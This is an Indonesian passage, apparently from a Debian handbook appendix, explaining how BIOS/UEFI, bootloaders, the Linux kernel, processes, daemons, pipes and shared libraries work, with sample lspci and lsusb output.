Beberapa kartu opsi — terutama kartu video 3D — menyertakan perangkat pendinginan, seperti heat sink dan/atau kipas. Jika kipas tidak berputar meskipun kartu dinyalakan, penjelasan yang masuk akal adalah kartu terlalu panas. Ini juga berlaku untuk prosesor utama yang terletak di papan utama.

B.3.2. Awal: BIOS atau UEFI

Perangkat keras, berdiri sendiri, tidak mampu melakukan tugas-tugas yang berguna tanpa perangkat lunak terkait yang menggerakkannya. Mengendalikan dan berinteraksi dengan perangkat keras adalah tujuan dari sistem operasi dan aplikasi. Ini, pada gilirannya, memerlukan perangkat keras yang fungsional untuk berjalan.

Simbiosis antara perangkat keras dan perangkat lunak ini tidak terjadi dengan sendirinya. Ketika komputer pertama kali dinyalakan, beberapa penyiapan awal diperlukan. Peran ini diambil oleh BIOS atau UEFI, sepenggal perangkat lunak yang ditanamkan ke dalam main board yang berjalan secara otomatis saat mulai dinyalakan. Tugas utamanya adalah mencari perangkat lunak yang bisa dilimpahi kendali. Biasanya, dalam kasus BIOS, ini termasuk mencari hard disk pertama yang memiliki sektor boot (juga dikenal sebagai master boot record atau MBR), memuat sektor boot tersebut, dan menjalankannya. Selanjutnya, BIOS biasanya tidak terlibat (sampat boot berikutnya). Dalam kasus UEFI, prosesnya melibatkan pemindaian disk untuk mencari partisi EFI terdedikasi yang memuat aplikasi-aplikasi EFI yang selanjutnya dapat dieksekusi.

PERKAKAS Penyiapan, alat konfigurasi BIOS/UEFI

BIOS/UEFI juga memiliki suatu perangkat lunak bernama Setup, dirancang untuk mengizinkan konfigurasi berbagai aspek komputer. Khususnya, itu mengizinkan memilih perangkat boot mana yang disukai (misalnya, flash disk USB atau drive CD-ROM bukan hard disk baku), menata jam sistem, dan seterusnya. Memulai Setup biasanya dengan menekan sebuah tombol segera setelah komputer mulai dihidupkan. Tombon ini biasanya Del atau Esc, terkadang F2 atau F10. Seringkali, pilihan ditampilkan di layar saat boot.

Sektor boot (atau partisi EFI), pada gilirannya, memuat penggalan perangkat lunak lain, yang dinamai bootloader, yang berguna untuk mencari dan menjalankan suatu sistem operasi. Karena bootloader ini tidak ditanamkan dalam papan utama tapi dimuat dari disk, itu bisa lebih cerdas daripada BIOS, yang menjelaskan mengapa BIOS sendiri tidak memuat sistem operasi. Sebagai contoh, bootloader (biasanya GRUB pada sistem Linux) dapat menampilkan daftar sistem operasi yang tersedia dan menanyakan ke pengguna untuk memilih satu. Biasanya, suatu tenggat waktu dan pilihan baku disediakan. Kadang pengguna juga dapat memilih untuk menambah parameter yang dilewatkan ke kernel, dan seterusnya. Pada akhirnya, suatu kernel ditemukan, dimuat ke memori, dan dieksekusi.

CATATAN UEFI, pengganti modern untuk BIOS

Kebanyakan komputer baru akan boot dalam mode UEFI secara baku, tapi biasanya mereka juga mendukung boot BIOS juga untuk kompatibilitas ke belakang dengan sistem operasi yang tidak siap mengeksploitasi UEFI.

Sistem baru ini menyingkirkan beberapa keterbatasan boot BIOS: dengan penggunaan suatu partisi terdedikasi, bootloader tidak perlu lagi trik khusus agar bisa dimuat dalam master boot record yang mungil lalu mencari kernel yang akan di-boot. Bahkan lebih baik lagi, dengan suatu kernel Linux yang dibangun secara sesuai, UEFI dapat secara langsung mem-boot kernel tanpa bootloader perantara apapun. UEFI juga adalah landasar dasar yang dipakai untuk menghadirkan Secure Boot, suatu teknologi yang memastikan bahwa Anda hanya menjalankan perangkat lunak yang divalidasi oleh vendor sistem operasi Anda.

BIOS/UEFI juga bertanggung jawab mendeteksi dan mengisialisasi sejumlah perangkat. Tentu saja, ini termasuk perangkat IDE/SATA (biasanya drive CD/DVD-ROM dan hard disk), tapi juga perangkat-perangkat PCI. Perangkat-perangkat yang terdeteksi seringkali dimunculkan daftarnya dalam proses boot. Bila daftar ini berlalu terlalu cepat, gunakan tombol Pause untuk membekukannya cukup lama untuk dibaca. Perangkat-perangkat PCI terpasang yang tidak muncul adalah pertanda buruk. Terparahnya, perangkat bermasalah. Terbaiknya, itu sekedar tidak kompatibel dengan versi saat ini dari BIOS papan utama. Spesifikasi PCI bertumbuh, dan papan utama lama tidak dijamin menangani perangkat PCI yang lebih baru.

B.3.3. Kernel

BIOS/UEFI maupun bootloader masing-masing hanya berjalan selama beberapa detik; sekarang kita sampai ke bagian pertama dari perangkat lunak yang berjalan untuk waktu yang lama, kernel sistem operasi. Kernel ini mengambil peran seorang dirigen orkestra, dan menjamin koordinasi antara perangkat keras dan perangkat lunak. Peran ini melibatkan beberapa tugas termasuk: menggerakkan perangkat keras, mengelola proses, pengguna dan izin, sistem berkas, dan seterusnya. Kernel menyediakan dasar yang umum untuk semua program lain pada sistem.

B.3.4. Ruang Pengguna

Walaupun segala sesuatu yang terjadi di luar kernel dapat dikelompok bersama di bawah ”ruang pengguna”, kita masih dapat memisahkan menjadi lapisan-lapisan perangkat lunak. Namun, interaksi mereka lebih kompleks daripada sebelumnya, dan klasifikasi mungkin tidak sederhana. Aplikasi umumnya menggunakan pustaka, yang pada gilirannya melibatkan kernel, tetapi komunikasi dapat juga melibatkan program lain, atau bahkan banyak pustaka memanggil satu sama lain.

B.4. Beberapa Tugas yang Ditangani oleh Kernel

B.4.1. Menggerakkan Perangkat Keras

Kernel ini, pertama dan terutama, bertugas mengendalikan bagian-bagian perangkat keras, mendeteksi mereka, menyalakannya ketika komputer dihidupkan, dan seterusnya. Ini juga membuat mereka tersedia untuk perangkat lunak tingkat yang lebih tinggi dengan antarmuka pemrograman yang disederhanakan, sehingga aplikasi dapat memanfaatkan perangkat tanpa harus khawatir tentang detail seperti slot ekstensi mana tempat dipasangnya kartu opsi. Antarmuka pemrograman juga menyediakan lapisan abstraksi; ini memungkinkan perangkat lunak video-conferencing, misalnya, untuk menggunakan webcam tanpa tergantung kepada merek dan modelnya. Perangkat lunak ini hanya dapat menggunakan antarmuka Video for Linux (V4L), dan kernel menerjemahkan panggilan fungsi antarmuka ini ke perintah perangkat keras sebenarnya yang dibutuhkan oleh webcam tertentu yang digunakan.

Kernel mengekspor banyak rincian tentang perangkat keras yang terdeteksi melalui sistem berkas virtual /proc/ dan /sys/. Bebearpa perkakas meringkas rincian itu. Di antara mereka, lspci (dalam paket pciutils) menampilkan daftar perangkat PCI, lsusb (dalam paket usbutils) menampilkan daftar perangkat USB, dan lspcmcia (dalam paket pcmciautils) menampilkan daftar kartu PCMCIA. Peralatan ini sangat berguna untuk mengidentifikasi model eksak dari suatu perangkat. Identifikasi ini juga mengizinkan pencarian yang lebih presisi pada web, yang pada gilirannya, mengarah ke lebih banyak dokumen yang relevan.

Contoh B.1. Contoh dari informasi yang disediakan oleh lspci dan lsusb

$ lspci

[...]

00:02.1 Display controller: Intel Corporation Mobile 915GM/GMS/910GML Express Graphics Controller (rev 03)

00:1c.0 PCI bridge: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) PCI Express Port 1 (rev 03)

00:1d.0 USB Controller: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 (rev 03)

[...]

01:00.0 Ethernet controller: Broadcom Corporation NetXtreme BCM5751 Gigabit Ethernet PCI Express (rev 01)

02:03.0 Network controller: Intel Corporation PRO/Wireless 2200BG Network Connection (rev 05)

$ lsusb

Bus 005 Device 004: ID 413c:a005 Dell Computer Corp.

Bus 005 Device 008: ID 413c:9001 Dell Computer Corp.

Bus 005 Device 007: ID 045e:00dd Microsoft Corp.

Bus 005 Device 006: ID 046d:c03d Logitech, Inc.

[...]

Bus 002 Device 004: ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Program-program ini memiliki pilihan -v, yang mencantumkan informasi lebih rinci (tapi biasanya tidak perlu). Akhirnya, perintah lsdev (dalam paket procinfo) menampilkan daftar sumber daya komunikasi yang digunakan oleh perangkat.

Aplikasi sering mengakses perangkat melalui berkas khusus yang dibuat di dalam /dev/ (lihat bilah sisi KEMBALI KE DASAR Hak akses perangkat). Ini adalah berkas-berkas khusus yang mewakili disk drive (sebagai contoh, /dev/hda dan /dev/sdc), partisi (/dev/hda1 atau /dev/sdc3), tetikus (/dev/input/mouse0), papan ketik (/dev/input/event0), kartu suara (/dev/snd/*), port serial (/dev/ttyS*), dan seterusnya.

B.4.2. Sistem Berkas

Sistem berkas adalah salah satu aspek yang paling menonjol dari kernel. Sistem Unix menggabungkan semua penyimpanan berkas ke dalam hirarki tunggal, yang memungkinkan pengguna (dan aplikasi) untuk mengakses data hanya dengan mengetahui lokasinya di dalam hierarki itu.

Titik awalk dari pohon hirarkis ini disebut root, /. Direktori ini bisa memuat subdirektori-subdirektori yang dinamai. Sebagai contoh, subdirektori home dari / bernama /home/. Subdirektori ini, pada gilirannya, memuat subdirektori lain, dan seterusnya. Setiap direktori juga bisa mengandung berkas, dimana data sebenarnya akan disimpan. Maka, nama /home/rmas/Desktop/hello.txt mengacu ke sebuah berkas bernama hello.txt yang disimpan di dalam subdirektori Desktop dari subdirektori rmas subdirektori dari direktori home yang ada dalam root. Kernel menerjemahkan antara sistem penamaan ini dan penyimpanan fisik yang sebenarnya pada suatu disk.

Tidak seperti sistem lain, hanya ada satu hirarki seperti itu, dan itu bisa mengintegrasikan data dari beberapa disk. Salah satu dari disk ini dipakai sebagai root, dan yang lainnya ”dikait” pada direktori dalam hirarki (perintah Unix-nya bernama mount); disk-disk lain ini maka kemudian teredia di bawah ”titik-titik kait” ini. Ini mengizinkan menyimpan direktori rumah pengguna (secara tradisional disimpan di bawah /home/ pada disk ke dua, yang akan memuat direktori rhertzog dan rmas. Sekali disk dikait pada /home/, direktori-direktori ini menjadi dapat diakses pada lokasi biasa, dan path seperti /home/rmas/Desktop/hello.txt tetap berjalan.

Ada banyak format sistem berkas, terkait dengan banyaknya cara bagaimana secara fisik menyimpan data pada disk. Yang paling dikenal adalah ext3 dan ext4, tapi yang lain juga ada. Sebagai contoh, vfat adalah sistem yang secara historis dipakai oleh sistem operasi Windows dan DOS, yang mengizinkan memakai hard disk di bawah Debian maupun di bawah Windows. Bagaimanapun, suatu sistem berkas mesti disiapkan pada suatu disk sebelum itu dapat dikait dan operasi ini dikenal sebagai ”memformat”. Perintah seperti mkfs.ext3 (dimana mkfs merupakan kependekan dari MaKe FileSystem (buat sistem berkas) menangani pemformatan. Perintah-perintah ini memerlukan, sebagai suatu parameter, sebuah berkas peranti yang mewakili partisi yang akan diformat (sebagai contoh, /dev/sda1). Operasi ini merusak dan mesti hanya dijalankan sekali, kecuali bila seseorang dengan sengaja menghendaki membersihkan suatu sistem berkas dan memulai dari awal.

Ada juga sistem berkas jaringan, seperti NFS, dimana data tidak tersimpan pada disk lokal. Sebaliknya, data ditransmisikan melalui jaringan ke server yang menyimpan dan mengambil mereka saat diminta. Abstraksi sistem berkas melindungi pengguna dari keharusan untuk perawatan: berkas tetap dapat diakses dalam cara hirarkis mereka yang biasa.

B.4.3. Fungsi Bersama

Karena sejumlah fungsi yang sama dipakai oleh semua perangkat lunak, layak untuk memusatkan mereka di dalam kernel. Sebagai contoh, penanganan sistem berkas bersama mengizinkan sebarang aplikasi sekedar membuka suatu berkas berdasarkan nama, tanpa perlu khawatir di mana berkas disimpan secara fisik. Berkas dapat disimpan di dalam beberapa potongan yang berbeda pada suatu hard disk, atau dipecah ke beberapa hard disk, atau bahkan disimpan pada suatu server berkas jarak jauh. Fungsi-fungsi komunikasi bersama dipakai oleh aplikasi-aplikasi untuk bertukar data secara independen dari cara data dipindahkan. Sebagai contoh, transpor bisa melalui sebarang kombinasi dari jaringa lokal atau nirkabel, atau melalui jalur telepon.

B.4.4. Mengelola Proses

Suatu proses adalah sebuah instansi program yang sedang berjalan. Ini membutuhkan memori untuk menyimpan program itu sendiri dan data operasinya. Kernel bertugas menciptakan dan melacak mereka. Ketika sebuah program berjalan, kernel terlebih dahulu menyisihkan sebagian memori, kemudian memuat kode yang dapat dieksekusi dari sistem berkas ke dalamnya, dan kemudian memulai menjalankan kode. Kernel menyimpan informasi tentang proses ini, yang paling terlihat adalah nomor identifikasi yang dikenal sebagai pid (process identifier).

Kernel Unix-like (termasuk Linux), seperti kebanyakan sistem operasi modern lainnya, mampu ”multi-tasking”. Dengan kata lain, mereka memungkinkan menjalankan banyak proses ”pada saat yang sama”. Sebenarnya hanya ada satu proses yang berjalan pada satu waktu, tetapi kernel memotong waktu menjadi irisan-irisan kecil dan menjalankan setiap proses secara bergantian. Karena irisan waktu ini sangat pendek (dalam rentang milidetik), mereka menciptakan ilusi proses yang berjalan secara paralel, meskipun sebenarnya hanya aktif selama beberapa interval waktu dan menganggur di sisa waktu. Tugas kernel adalah menyesuaikan mekanisme penjadwalannya untuk menjaga ilusi itu, sambil memaksimalkan kinerja sistem global. Jika irisan waktu terlalu panjang, aplikasi mungkin tidak tampak responsif seperti yang diinginkan. Terlalu pendek, dan sistem kehilangan waktu karena beralih tugas terlalu sering. Keputusan-keputusan ini dapat disesuaikan dengan prioritas proses. Proses prioritas tinggi akan berjalan lebih lama dan dengan irisan waktu yang lebih sering daripada proses prioritas rendah.

CATATAN Sistem multi-prosesor (dan varian)

Keterbatasan yang dijelaskan di atas dimana hanya satu proses yang dapat dijalankan pada satu waktu, tidak selalu berlaku. Pembatasan sebenarnya adalah hanya ada satu proses yang berjalan per core prosesor pada satu waktu. Sistem multi-prosesor, multi-core atau ”hyper-threaded” memungkinkan beberapa proses berjalan secara paralel. Sistem pengiris waktu yang sama masih digunakan, untuk menangani kasus-kasus dimana ada lebih banyak proses yang aktif daripada core prosesor yang tersedia. Ini tidak luar biasa: sistem dasar, bahkan yang kebanyakan menganggur, hampir selalu memiliki puluhan proses yang berjalan.

Tentu saja, kernel memungkinkan menjalankan beberapa instansi independen dari program yang sama. Tetapi masing-masing hanya dapat mengakses irisan waktu dan memorinya sendiri. Data mereka dengan demikian tetap independen.

B.4.5. Manajemen Hak

Sistem mirip Unix juga multi-pengguna. Mereka menyediakan sistem manajemen hak yang mendukung pengguna dan kelompok terpisah; itu juga memungkinkan kontrol atas tindakan berdasarkan izin. Kernel mengelola data untuk setiap proses, memungkinkannya untuk mengontrol perizinan. Seringkali, suatu proses diidentifikasi oleh pengguna yang memulainya. Proses itu hanya diizinkan untuk mengambil tindakan yang tersedia bagi pemiliknya. Misalnya, mencoba membuka berkas memerlukan kernel untuk memeriksa identitas proses terhadap izin akses (untuk detail lebih lanjut tentang contoh khusus ini, lihat Bagian 9.3, “Mengelola Hak”).

B.5. Ruang Pengguna

”Ruang pengguna” mengacu pada lingkungan runtime proses normal (sebagai lawan dari kernel). Ini tidak selalu berarti proses-proses ini benar-benar dimulai oleh pengguna karena sistem standar biasanya memiliki beberapa proses ”daemon” (atau latar belakang) yang berjalan sebelum pengguna bahkan membuka sesi. Proses daemon juga dianggap sebagai proses ruang pengguna.

B.5.1. Proses

Ketika kernel berhasil melewati tahap inisialisasi, ia memulai proses pertama, init. Proses #1 sendiri sangat jarang berguna sendirian, dan sistem mirip Unix berjalan dengan banyak proses tambahan.

Pertama-tama, proses dapat mengklon dirinya sendiri (dikenal sebagai sebuah fork). Kernel mengalokasikan ruang memori proses yang baru (tapi identik), dan proses lain yang menggunakannya. Saat ini, satu-satunya perbedaan antara dua proses ini adalah pid mereka. Proses baru biasanya disebut proses anak, dan proses asli yang pid-nya tidak berubah, disebut proses induk.

Kadang-kadang, proses anak terus menjalani hidupnya sendiri secara mandiri dari induknya, dengan data sendiri yang disalin dari proses induk. Dalam banyak kasus, proses anak ini menjalankan program lain. Dengan beberapa pengecualian, memorinya hanya digantikan oleh program baru, dan eksekusi program baru ini dimulai. Ini adalah mekanisme yang digunakan oleh proses init (dengan proses nomor 1) untuk memulai layanan tambahan dan menjalankan seluruh urutan startup. Pada titik tertentu, satu proses di antara anak-anak init memulai antarmuka grafis bagi pengguna untuk masuk (urutan kejadian yang sebenarnya dijelaskan lebih detail di Bagian 9.1, “Boot Sistem”).

Ketika sebuah proses menyelesaikan tugas yang dimulai, itu berakhir. Kernel kemudian memulihkan memori yang ditugaskan untuk proses ini, dan berhenti memberikannya irisan waktu berjalan. Proses induk diberitahu tentang proses anaknya yang dihentikan, yang memungkinkan proses untuk menunggu penyelesaian tugas yang didelegasikan kepada proses anak. Perilaku ini terlihat jelas dalam penerjemah baris perintah (dikenal sebagai shells). Ketika sebuah perintah diketik ke dalam shell, prompt hanya akan kembali ketika eksekusi perintah selesai. Kebanyakan shell memungkinkan untuk menjalankan perintah di latar belakang, itu sekedar menambahkan & ke ujung perintah. Prompt ditampilkan lagi segera, yang dapat menyebabkan masalah jika perintah perlu menampilkan data sendiri.

B.5.2. Daemon

A ”daemon” adalah proses yang dimulai secara otomatis oleh urutan boot. Itu terus berjalan (di latar belakang) untuk melakukan tugas-tugas pemeliharaan atau memberikan layanan ke proses lain. ”Tugas latar belakang” ini sebenarnya sebarang, dan tidak cocok dengan apa pun dari sudut pandang sistem. Mereka hanyalah proses, sangat mirip dengan proses lain, yang berjalan pada gilirannya ketika irisan waktu mereka datang. Perbedaannya hanya dalam bahasa manusia: sebuah proses yang berjalan tanpa interaksi dengan pengguna (khususnya, tanpa antarmuka grafis) dikatakan berjalan ”di latar belakang” atau ”sebagai daemon”.

KOSA KATA Daemon, demon, istilah yang merendahkan?

Meskipun istilah daemon memiliki etimologi Yunani yang sama dengan demon (setan), yang pertama tidak menyiratkan setan jahat, sebaliknya, harus dipahami sebagai semacam roh penolong. Perbedaan ini cukup halus dalam bahasa Inggris; hal ini bahkan lebih buruk dalam bahasa lain yang mana kata yang sama digunakan untuk kedua makna.

Beberapa daemon tersebut dijelaskan secara rinci dalam Bab 9, Layanan Unix.

B.5.3. Inter-Process Communications

Suatu proses yang terisolasi, apakah itu daemon atau aplikasi interaktif, jarang berguna saat berdiri sendiri, itulah sebabnya ada beberapa metode yang memungkinkan proses terpisah untuk saling berkomunikasi, baik untuk bertukar data atau mengendalikan satu sama lain. Istilah umum yang mengacu pada ini adalah inter-process communication, atau disingkat IPC.

Sistem IPC yang paling sederhana adalah menggunakan berkas. Proses yang ingin mengirim data menulis ke berkas (dengan nama diketahui sebelumnya), sementara renerima hanya harus membuka berkas dan mebaca isinya.

Dalam kasus dimana Anda tidak ingin menyimpan data pada disk, Anda dapat menggunakan pipe, yang hanya merupakan objek dengan dua ujung; byte yang ditulis dalam satu ujung dapat dibaca di ujung yang lain. Jika ujungnya dikendalikan oleh proses terpisah, ini mengarah ke saluran komunikasi antar-proses yang sederhana dan nyaman. Pipa dapat diklasifikasikan menjadi dua kategori: pipa bernama, dan pipa anonim. Sebuah pipa bernama diwakili oleh sebuah entri pada sistem berkas (meskipun data yang ditransmisikan tidak disimpan di sana), sehingga kedua proses dapat membukanya secara independen jika lokasi dari pipa bernama diketahui sebelumnya. Dalam kasus dimana proses-proses yang berkomunikasi saling terkait (misalnya, induk dan proses anaknya), proses induk juga dapat membuat pipa anonim sebelum fork, dan anak mewarisi itu. Kedua proses kemudian akan dapat bertukar data melalui pipa tanpa perlu sistem berkas.

DALAM PRAKTEK Contoh konkret

Mari kita menjelaskan secara rinci apa yang terjadi ketika suatu perintah kompleks (suatu pipa) dijalankan dari shell. Kita berasumsi kita memiliki proses bash (shell pengguna standar pada Debian), dengan pid 4374; ke shell ini, kita ketik perintah: ls | sort .

Shell pertama menafsirkan perintah yang diketikkan. Dalam kasus kita, ia mengerti ada dua program (ls dan sort), dengan data yang mengalir dari satu ke yang lain (dilambangkan oleh karakter |, dikenal sebagai pipa). bash pertama menciptakan pipa tanpa nama (yang awalnya ada hanya dalam proses bash itu sendiri).

Kemudian shell meng-klon dirinya sendiri; ini mengantar ke sebuah proses bash baru, dengan pid #4521 (pid adalah bilangan abstrak, dan umumnya tidak punya arti khusus). Proses #4521 mewarisi pipa, yang berarti itu dapat menulis ke sisi “masukan”; bash mengalihkan stream keluaran standarnya ke masukan pipa ini. Kemudian itu menjalankan (dan menggantikan dirinya sendiri dengan) program ls, yang menampilkan daftar isi dari direktori saat ini. Karena ls menulis ke keluaran standarnya, dan keluaran ini sebelumnya telah dialihkan, hasilnya secara efektif dikirim ke dalam pipa.

Sebuah operasi serupa yang terjadi untuk perintah ke dua: bash meng-klon dirinya sendiri lagi, mengarah ke proses bash baru dengan pid #4522. Karena itu juga proses anak dari #4374, itu juga mewarisi pipa; bash kemudian menghubungkan masukan standar ke keluaran pipa, lalu mengeksekusi (dan menggantikan dirinya sendiri dengan) perintah sort, yang mengurutkan masukan dan menampilkan hasilnya.

Semua potongan teka-teki sekarang siap: ls membaca direktori saat ini dan menulis daftar berkas ke dalam pipa; sort membaca daftar ini, mengurutkan berdasarkan abjad, dan menampilkan hasilnya. Proses nomor #4521 dan #4522 kemudian berakhir, dan #4374 (yang menunggu mereka selama operasi), melanjutkan kendali dan menampilkan sapaan yang memungkinkan pengguna untuk mengetik perintah baru.

Tidak semua komunikasi antar-proses digunakan untuk memindahkan data. Dalam banyak situasi, satu-satunya informasi yang perlu ditransmisikan adalah pesan kontrol seperti “jeda eksekusi” atau “melanjutkan eksekusi”. Unix (dan Linux) menyediakan mekanisme yang dikenal sebagai sinyal, dimana suatu proses dapat sekedar mengirim sinyal tertentu (dipilih dari daftar sinyal yang telah ditentukan) ke proses lain. Satu-satunya persyaratan adalah mengetahui pid dari target.

Untuk komunikasi yang lebih kompleks, ada juga mekanisme yang memungkinkan proses untuk membuka akses, atau berbagi, bagian dari memori yang dialokasikan untuk proses lain. Memori yang sekarang dipakai bersama di antara mereka dapat digunakan untuk memindahkan data antar proses.

Akhirnya, koneksi jaringan juga dapat membantu proses-proses berkomunikasi; proses-proses ini bahkan dapat berjalan di komputer yang berbeda, mungkin terpisah ribuan kilometer.

Sudah biasa bagi sistem mirip Unix untuk, sedikit banyak, menggunakan semua mekanisme ini.

B.5.4. Pustaka

Pustaka fungsi memainkan peran penting dalam sistem operasi mirip Unix. Mereka bukan program yang utuh, karena mereka tidak dapat dieksekusi sendiri, tetapi merupakan koleksi fragmen kode yang dapat digunakan oleh program standar. Di antara pustaka umum, Anda dapat menemukan:

- pustaka C standar (glibc), yang berisi fungsi-fungsi dasar seperti untuk membuka berkas atau koneksi jaringan, dan yang lain memfasilitasi interaksi dengan kernel;

- toolkit grafis, seperti Gtk+ dan Qt, memungkinkan banyak program untuk menggunakan kembali objek grafis yang mereka sediakan;

- pustaka libpng, yang memungkinkan memuat, menafsirkan, dan menyimpan gambar dalam format PNG.

Berkat pustaka tersebut, aplikasi dapat menggunakan kembali kode yang ada. Pengembangan aplikasi disederhanakan karena banyak aplikasi dapat menggunakan kembali fungsi yang sama. Dengan pustaka yang sering dikembangkan oleh orang yang berbeda, perkembangan global dari sistem lebih dekat dengan filosofi sejarah Unix.

BUDAYA Cara Unix: satu hal pada suatu waktu

Satu dari konsep fundamental yang mendasari keluarga sistem operasi Unix adalah bahwa setiap alat mesti hanya melakukan satu hal, dan melakukannya dengan baik; aplikasi kemudian dapat memakai lagi alat-alat ini untuk membangun lebih banyak logika tingkat lanjut di atasnya. Filosofi ini dapat dilihat dalam banyak inkarnasi. Skrip shell mungkin adalah contoh terbaik: mereka merangkai urutan yang kompleks dari alat-alat yang sangat sederhana (seperti misalnya grep, wc, sort, uniq, dan seterusnya). Implementasi lain dari filosofi ini dapat dilihat dalam pustaka kode: pustaka libpng memungkinkan membaca dan menulis citra-citra PNG, dengan opsi-opsi lain dan dalam cara-cara yang berbeda, tapi hanya melakukan itu; tidak ada pertanyaan untuk memasukkan fungsi-fungsi yang menampilkan atau menyunting citra.

Selain itu, pustaka ini sering dirujuk sebagai “pustaka bersama”, karena kernel bisa hanya memuat mereka ke dalam memori sekali, bahkan jika beberapa proses menggunakan pustaka yang sama pada waktu yang sama. Hal ini memungkinkan penghematan memori, bila dibandingkan dengan situasi (hipotetis) sebaliknya dimana kode untuk pustaka akan dimuat sebanyak proses yang menggunakannya.